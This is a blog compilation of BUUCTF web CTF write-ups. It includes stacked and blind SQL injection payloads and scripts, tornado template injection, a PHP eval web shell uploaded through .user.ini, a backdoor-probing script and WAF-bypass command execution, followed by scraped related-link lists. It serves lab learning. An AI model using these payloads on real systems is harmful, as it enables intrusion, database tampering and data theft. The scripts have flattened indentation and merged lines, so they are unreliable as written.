本来一题一篇文章,结果发现太浪费了,所以整合起来了,这篇博文就记录 BUUCTF 的  web 题目的题解吧!

随便注

随便输入一个单引号,报错

order by 3就不行了

尝试联合查询的时候出现提示:

"/select|update|delete|drop|insert|where|\./i"

一个正则可视化网站:https://regexper.com

使用堆叠注入:1';show tables;#

看一下表里有什么列名:1';show columns from `1919810931114514`;#

(注意,字符串为表名的表操作时要加反引号)

但是没办法使用 select * from `1919810931114514`

看网上师傅们有两种方法,第一种:mysql 预定义语句

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;#

hex decode 以后是:?inject=1';SeT@a=select * from `1919810931114514`;Prepare execsql from @a;execute execsql;#

还有一种方法时是:改表名 这样查询的时候就可以查询到 flag

?inject=1';
rename tables `words` to `test`;rename tables `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#

意思分别是:把 words 表改名为 test,把 1919810931114541 改名为 words

把列名 flag 改为 id

这样在 1'; or 1=1# 查询的时候就会把所有的都列出来,这样就可以看到 flag 了

easy_tornado

打开看到有三个文件:

三个文件内容如下:

通过 url 知道,访问一个文件需要知道:filename 跟 filehash

企图直接访问是不行的,想到了 burp 抓包,但是抓了半天没抓到,看了网上的 wp 是 模版注入

tornado 是一个 python 的模板,welcome.txt 中的 render 是 python 中的一个渲染函数,

报错时候的 url 是这样的

尝试把后面换成:{{111}},输出了!

在 tornado 模板中,存在一些可以访问的快速对象,例如:

 <title>
{{ escape(handler.settings["cookie"]) }}
</title>

那么输入:{{handler.settings}}

拿到 cookie 就 OK 了!

import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def jiami():
filename = '/fllllllllllllag'
cookie_s ="ea7d75de-4ca5-486a-a69c-e690f3a8c217"
print(md5value(filename.encode('utf-8')))
x=md5value(filename.encode('utf-8'))
y=cookie_s+xprint(md5value(y.encode('utf-8')))
jiami()

EasySQL

这道题目有两种解法,一种是:*,1,这样查询结果会把表中所有的数据返回来(据说是非预期解,出题人可能忘记过滤掉*了)

还有一种说是考察sql_mode,通过堆叠注入修改sql_mode,

可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 || 视为字符串连接符而非 或 运算符

因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag

Payload :

1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

拼接后就变成了

SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag

高明的黑客

访问提示源码在 www.tar.gz

在网址后面加上 www.tar.gz 是可以下载下来的

下下来里面超级多 php 文件,用大佬的 python 脚本筛选出来

import os,re
import requests
filenames = os.listdir('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data))) for ret in result:
try:
command = 'echo "got it"'
flag = 'got it'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name + '?' + passwd + '='+ command)
if "got it" in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name,data={passwd:command})
if "got it" in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass

我参考的网上的 wp 直接把 x 开头之前的 php 文件删掉了,不然要跑很长时间(php 版本要用 7 以上的)

访问 xk0SzyKwfzw.php?Efa5BVG= cat /flag 得到 flag

admin

网上的 wp 有三个方法,这里只记录一个,Unicode 欺骗

https://www.anquanke.com/post/id/164086

注册用户:ᴬdmin

会将其变成:Admin

修改密码的时候会变成:admin

这样就可以直接访问 admin 用户

checkin

拿到题目,是一个上传界面

尝试上传,php 显示非法后缀,传图马显示内容里面有 <?

尝试这样的:

GIF89a
<script language="php">eval ($_POST['yichen']);</script>

成功上传,同时还显示了文件夹下的内容

想上传 .htaccess 把图片马解析成为 php 但是失败了

看 wp 以后学到了 .user.ini 来上传后门

了解一下,先从 php.ini 说起 php.ini 是 php 的默认配置文件,其中包括了很多 php 的配置

其中 PHP_INI_USER 的配置项,可以在 ini_set () 函数中设置、注册表中设置,再就是.user.ini 中设置可以理解为 php 是允许用户自定义的 php.ini

实际上,除了 PHP_INI_SYSTEM 以外的模式(包括 PHP_INI_ALL)都是可以通过.user.ini 来设置的

而且 php.ini 是种动态加载的 ini 文件,不需要重启服务,只需要等待user_ini.cache_ttl 所设置的时间(默认300秒)就可以

需要看的是这两个选项,它们的作用是指定一个文件,会自动把这个文件包含在其他要执行的文件里面,相当于 require()

使用方法很简单,只需要在 .user.ini 文件中写:

auto_prepend_file=文件名(比如:yichen.jpg)

解题:先上传一个 .user.ini 文件

在上传一个 yichen.jpg 文件

然后在访问同一文件夹下的 index.php 就可以得到 flag 了

Hack World

sql注入题目,通过基于时间的盲注可以测出来,但是不会写脚本,懒得一个一个测,看了师傅们的wp

师傅们用了 异或 这种操作,长见识了,师傅们的 WP:

(意识到应该整理一些 sqli 的 FUZZ 字典

import requests
from lxml import etree
def a():
url="http://af100f25-ad84-449a-98cc-64ef4e7fda40.node3.buuoj.cn"
flag="Hello, glzjin wants a girlfriend."
final=""
stop=0
for i in range(1,1290):
print("*"*50,i,"*"*50)
stop=0
for j in range(32,129):
stop = j
data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}
re = requests.post(url=url,data=data).text.replace('\n','')
html = etree.HTML(re).xpath("//text()")
# print(">>",html)
if flag in html:
final+=chr(j)
print("\n\t\t\t\t",final)
break if stop >= 128:
print("*"*50,"结束")
print(">>",final)
break if __name__ == '__main__':
a()

Easy Cacl

 PHP 字符串解析特性

当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替

参考:https://www.freebuf.com/articles/web/213359.html

在 freebuf 的文章中,发现了上面这些是可以被用来替换的

用到这道题目上来, WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP在解析的时候会把空格删掉,这样就可以命令执行了,同时 calc.php 中还有个黑名单,可以使用 chr() 来绕过

查看目录

calc.php? num=1;var_dump(scandir(chr(47)))

查看 flag

calc.php? num=1;var_dump(readfile(chr(47).f1agg))

不太明白为啥直接f1agg不行

【web】BUUCTF-web刷题记录的更多相关文章

  1. 攻防世界 web 新手练习 刷题记录

    1.view_source 既然让看源码,那就F12直接就能看到. 2.robots 先百度去简单了解一下robots协议 robots协议(robots.txt),robots.txt文件在网站根目 ...

  2. 攻防世界 web 进阶区 刷题记录

    1.Training-WWW-Robots 题目提示了robots协议,直接访问robots.txt 继续访问fl0g.php 2.baby_web 题目描述:想想初始页面是哪个 百度搜了下,inde ...

  3. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  4. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  5. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  6. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  7. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  8. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  9. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

随机推荐

  1. OpenShift 本地开发环境配置(基于 Minishift)

    本文要做什么? 很多为了验证应用在 OpenShift 平台的行为是否正常,或者组成一个简单的开发环境,直接搭建一个 OpenShift/Origin 环境可能太重了,而且运行在本机可能占用内存也太多 ...

  2. windows defender antivirus占用内存解决教程

    [windows defender关闭常见问题] windows defender antivirus占用内存解决教程: 1.按下"Win+R"打开"运行" 2 ...

  3. Codeforces 193E - Fibonacci Number(打表找规律+乱搞)

    Codeforces 题目传送门 & 洛谷题目传送门 蠢蠢的我竟然第一眼想套通项公式?然鹅显然 \(5\) 在 \(\bmod 10^{13}\) 意义下并没有二次剩余--我真是活回去了... ...

  4. R绘图布局包 customLayout

    今天介绍一个R画图布局的包,地址如下: https://github.com/zzawadz/customLayout https://www.customlayout.zstat.pl/index. ...

  5. Generic recipe for data analysis with general linear model

    Generic recipe for data analysis with general linear model Courtesy of David Schneider State populat ...

  6. DRF请求流程及主要模块分析

    目录 Django中CBV请求生命周期 drf前期准备 1. 在views.py中视图类继承drf的APIView类 2. drf的as_view()方法 drf主要模块分析 1. 请求模块 2. 渲 ...

  7. SpringBoot整合Shiro 二:Shiro配置类

    环境搭建见上篇:SpringBoot整合Shiro 一:搭建环境 Shiro配置类配置 shiro的配置主要集中在 ShiroFilterFactoryBean 中 关于权限: anon:无需认证就可 ...

  8. 半天做完的数据报表,YonBuilder只要十几分钟,0代码开发

    进入数字化时代,拍脑袋的决策方式显然不靠谱,一切要靠数据说话.与信息化时代相比,数字化时代的企业对数据的应用更广泛.更深入.为了应对激烈的市场竞争,企业经营决策者们对数据的依赖度越来越高,企业各个业务 ...

  9. 日常Java 2021/11/16

    获得applet参数 下面的例子演示了如何使用一个Applet响应来设置文件中指定的参数.该Applet显示了-个黑色棋盘图案和第二种颜色.第二种颜色和每一列的大小通过文档中的Applet的参数指定. ...

  10. 学习java 7.17

    学习内容: 计算机网络 网络编程 网络编程三要素 IP地址 端口 协议 两类IP地址 IP常用命令: ipconfig 查看本机IP地址 ping IP地址 检查网络是否连通 特殊IP地址: 127. ...